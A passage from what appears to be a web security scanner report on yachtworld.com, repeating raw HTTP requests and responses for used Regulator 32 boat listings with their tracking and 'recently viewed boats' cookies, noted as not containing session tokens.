2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2004/Regulator-32-Fs-2305173/Gloucester/VA/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:12 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 06:03:33 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:59:12 GMT Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2004/Regulator-32-Fs-Center-Console-2305157/Wilmington/NC/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:32 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 03:06:03 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:59:31 GMT Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2004/Regulator-32-Fs-W--2006-250hp-Evinrude-E-tec-2152119/Fajardo/Puerto-Rico HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:33 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 14 Dec 2010 15:36:46 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:59:34 GMT Set-Cookie: 